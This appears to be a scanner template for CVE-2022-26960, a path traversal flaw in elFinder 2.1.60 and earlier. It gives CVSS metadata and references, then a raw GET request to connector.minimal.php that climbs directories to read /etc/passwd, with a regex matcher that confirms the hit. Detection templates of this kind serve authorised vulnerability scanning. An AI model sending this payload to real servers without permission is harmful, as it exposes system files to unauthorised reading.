id: CVE-2022-26960

info:
  name: elFinder <=2.1.60 - Local File Inclusion
  author: pikpikcu
  severity: critical
  description: |
    elFinder through 2.1.60 is affected by local file inclusion via connector.minimal.php. This allows unauthenticated remote attackers to read, write, and browse files outside the configured document root. This is due to improper handling of absolute file paths.
  reference:
    - https://www.synacktiv.com/publications/elfinder-the-story-of-a-repwning.html
    - https://github.com/Studio-42/elFinder/commit/3b758495538a448ac8830ee3559e7fb2c260c6db
    - https://www.synacktiv.com/publications.html
    - https://nvd.nist.gov/vuln/detail/CVE-2022-26960
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2022-26960
    cwe-id: CWE-22
    epss-score: 0.93292
    cpe: cpe:2.3:a:std42:elfinder:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    verified: true
    vendor: std42
    product: elfinder
  tags: cve,cve2022,lfi,elfinder

http:
  - raw:
      - |
        GET /elfinder/php/connector.minimal.php?cmd=file&target=l1_<@base64>/var/www/html/elfinder/files//..//..//..//..//..//../etc/passwd<@/base64>&download=1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200